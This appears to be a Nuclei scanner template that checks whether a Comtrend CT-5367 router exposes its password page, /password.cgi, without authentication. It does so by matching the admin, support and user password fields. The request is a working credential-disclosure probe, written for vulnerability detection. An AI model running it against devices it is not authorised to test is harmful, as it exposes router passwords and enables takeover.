comtrend-ct5367-remote-root.yaml

id: comtrend-ct5367-remote-root

info:
  name: COMTREND ADSL Router BTC(VivaCom) CT-5367 C01_R12 Remote Root
  author: geeknik
  reference: https://www.exploit-db.com/exploits/16275
  severity: high
  tags: comtrend,router,vivacom,iot,disclosure

requests:
  - method: GET
    path:
      - "{{BaseURL}}/password.cgi"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "pwdAdmin"
          - "pwdSupport"
          - "pwdUser"